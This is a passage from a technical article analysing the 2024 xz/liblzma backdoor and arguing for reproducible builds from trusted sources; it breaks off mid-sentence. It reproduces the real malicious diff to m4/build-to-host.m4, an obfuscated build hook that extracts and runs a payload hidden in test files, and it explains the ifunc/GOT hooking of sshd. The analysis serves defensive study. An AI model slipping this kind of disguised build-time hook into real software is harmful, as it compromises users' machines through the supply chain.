In March 2024, a backdoor was discovered in xz, a (de)-compression software that is regularly used at the core of Linux distributions to unpack source tarballs of packaged software. The backdoor had been covertly inserted by a malicious maintainer under the pseudonym of Jia Tan over a period of three years. This event deeply stunned the open source community as the attack was both of massive impact (it allowed remote code execution on all affected machines that had ssh installed) and extremely difficult to detect. In fact, it was only thanks to the diligence (and maybe luck) of Andres Freund – a Postgres developer working at Microsoft – that the catastrophe was avoided: while investigating a seemingly unrelated 500ms performance regression in ssh that he was experiencing on several Debian unstable machines, he was able to trace it back to the liblzma library, identify the backdoor and document it.

While it was already established that the open source supply chain was often the target of malicious actors, what is stunning is the amount of energy invested by Jia Tan to gain the trust of the maintainer of the xz project, acquire push access to the repository and then among other perfectly legitimate contributions insert – piece by piece – the code for a very sophisticated and obfuscated backdoor. This should be a wake up call for the OSS community. We should consider the open source supply chain a high value target for powerful threat actors, and to collectively find countermeasures against such attacks.

In this article, I’ll discuss the inner workings of the xz backdoor and how I think we could have mechanically detected it thanks to build reproducibility.

The main intent of the backdoor is to allow for remote code execution on the target by hijacking the ssh program. To do that, it replaces the behavior of some of ssh’s functions (most importantly the RSA_public_decrypt one) in order to allow an attacker to execute arbitrary commands on a victim’s machine when some specific RSA key is used to log in. Two main pieces are combined to put together to install and activate the backdoor:

1. A script to de-obfuscate and install a malicious object file as part of the xz build process.
   Interestingly the backdoor was not comprehensively contained in the source code for xz. Instead, the malicious components were only contained in tarballs built and signed by the malicious maintainer Jia Tan and published alongside releases 5.6.0 and 5.6.1 of xz. This time the additional release tarball contained slight and disguised modifications to extract a malicious object file from the .xz files used as data for some test contained in the repository.

2. A procedure to hook the RSA_public_decrypt function. The backdoor uses the ifunc mechanism of glibc to modify the address of the RSA_public_function when ssh is loaded, in case ssh links against liblzma through libsystemd.

1. A script to de-obfuscate and install a malicious object file as part of the xz build process

As explained above, the malicious object file is stored directly in the xz git repository, hidden in some test files. The project being a decompression software, test cases include .xz files to be decompressed, making it possible to hide some machine code into fake test files;
The backdoor is not active in the code contained in the git repository, it is only included by building xz from the tarball released by the project, which has a few differences with the actual contents of the repository, most importantly in the m4/build-to-host.m4 file.

diff --git a/m4/build-to-host.m4 b/m4/build-to-host.m4
index f928e9ab..d5ec3153 100644
--- a/m4/build-to-host.m4
+++ b/m4/build-to-host.m4
@@ -1,4 +1,4 @@
-# build-to-host.m4 serial 3
+# build-to-host.m4 serial 30
 dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],

   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '"'"${gl_final_[$1]}"'"'; then
     [$1]_c_make='"$([$1])"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed "rn" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval $gl_[$1]_config"])
 ])

 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\/\\/g'
   gl_sed_escape_doublequotes='s/"/\"/g'
+  gl_path_map='tr "t -_" " t_-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\([ "&'();<>\\`|]\),\\\1,g"
 changequote([,])dnl

While these changes may look benign to the naive eyes and well commented, they are actually hiding a chain of commands that decrypts/deobfuscates several fake .xz test files to ultimately produce two files:

• a shell script that is run during the build of xz ;
• a malicious binary object file.

There is an excellent analysis from Russ Cox that explains in detail how these two malicious resources are produced during the build process, and I advise any interested reader to find all relevant details there.

The shell script run during the build has two main purposes:

1. Verifying that the conditions to execute the backdoor are met on the builder (the backdoor targets specific Linux distributions, needs specific features of the glibc activated, needs ssh installed, etc) ;
2. Modifying the (legitimate) liblzma_la-crc64_fast.o to use the _get_cpuid symbol defined in the backdoor object file.

2. A procedure to hook the RSA_public_decrypt function

So how does a backdoor in the xz executable have any effect on ssh?
To understand that, we have to take a little detour in the realm of dynamic loaders and dynamically linked programs. Whenever a program depends on a library, there are two ways that library can be linked into the final executable:

• statically, in that case the library is embedded into the final executable, hence increasing its size ;
• dynamically, in which case it is the role of the dynamic loader (ld-linux.so in Linux) to find that shared library when the program starts and load it in memory.

When a program is compiled using dynamic linking, the addresses of the symbols belonging to dynamically linked libraries cannot be provided at compilation time: their position in memory is not know ahead of time! Instead, a reference to the Global Offset Table (or GOT) is inserted. When the program is started, the actual addresses are filled in the GOT by the dynamic linker.

The xz backdoor uses a functionality of the glibc called ifunc to force execution of code during dynamic loading time: ifunc is designed to allow selection between several implementations of the same function at dynamic loading time.

#include <stdio.h>

// Declaration of ifunc resolver function
int (*resolve_add(void))(int, int);

// First version of the add function
int add_v1(int a, int b) {
    printf("Using add_v1n");
    return a + b;
}

// Second version of the add function
int add_v2(int a, int b) {
    printf("Using add_v2n");
    return a + b;
}

// Resolver function that chooses the correct version of the function
int (*resolve_add(void))(int, int) {
    // You can implement any runtime check here.
    // In that case we check if the system is 64bit
    if (sizeof(void*) == 8) {
        return add_v2;
    } else {
        return add_v1;
    }
}

// Define the ifunc attribute for the add function
int add(int a, int b) __attribute__((ifunc("resolve_add")));

int main() {
    int result = add(10, 20);
    printf("Result: %dn", result);
    return 0;
}

In the above example, the ifunc attribute surrounding the add function indicates that the version that will be executed will be determined at dynamic loading time by running the resolve_add function. In that case, the resolve_add function returns add_v1 or add_v2 depending if the running system is a 64 bit system or not – and as such is completely harmless – but this technique is used by the xz backdoor to run some malicious code at dynamic loading time.

But dynamic loading of which program? Well, of ssh! In some Linux distributions (Debian and Fedora for example), ssh is patched to support systemd notifications and for this purpose, links with libsystemd, that in turn links with liblzma. In those distribution sshd hence has a transitive dependency on liblzma.

This is how the backdoor works: whenever sshd is executed, the dynamic loader loads libsystemd and then liblzma. With the backdoor installed, and leveraging the ifunc functionality as explained above, the backdoor is able to run arbitrary code when liblzma is being loaded. Indeed, as you remember from the previous section, the backdoor script modifies one of the legitimate xz object files: it actually modifies the resolver of one of the functions that uses ifunc to call its own malicious _get_cpuid symbol. When called, this function meddles with the GOT (that is not yet read-only at this time of execution) to modify the address of the RSA_public_decrypt function, replacing it by a malicious one! That’s it, at this point sshd uses the malicious RSA_public_decrypt function that gives RCE privileges to the attacker.

Once again, there exist more precise reports on exactly how the hooking happens that a curious reader might read, like this one for example. There is also a research article summarizing the attack vector and possible mitigations that I recommend reading.

What should our takeaways be from this near-miss and what should we do to minimize the risks of such an attack happening again in the future? Obviously, there is a lot to be said about the social issues at play here¹ and how we can build better resilience in the OSS ecosystem against malicious entities taking over really fundamental OSS projects, but in this piece I’ll only address the technical aspects of the question.

People are often convinced that OSS is more trustworthy than closed-source software because the code can be audited by practitioners and security professionals in order to detect vulnerabilities or backdoors. In this instance, this procedure has been made difficult by the fact that part of the code activating the backdoor was not included in the sources available within the git repository but was instead present in the maintainer-provided tarball. While this was used to hide the backdoor out of sight of most investigating eyes, this is also an opportunity for us to improve our software supply chain security processes.

Building software from trusted sources

One immediate observation that we can make in reaction to this supply chain incident is that it was only effective because a lot of distributions were using the maintainer provided tarball to build xz instead of the raw source code supplied by the git forge (in this case, GitHub). This reliance on release tarballs has plenty of historical and practical reasons:

• the tarball workflow predates the existence of git and was used in the earliest Linux distributions;
• tarballs are self-contained archives that encapsulate the exact state of the source code intended for release while git repositories can be altered, creating the need for a snapshot of the code;
• tarballs can contain intermediary artifacts (for example manpages) used to lighten the build process, or configure scripts to target specific hardware, etc;
• tarballs allow the source code to be compressed which is useful for space efficiency.

This being said, these reasons do not weigh enough in my opinion to justify the security risks they create. In all places where it is technically feasible, we should build software from sources authenticated by the most trustworthy party. For example, if a project is developed on GitHub, an a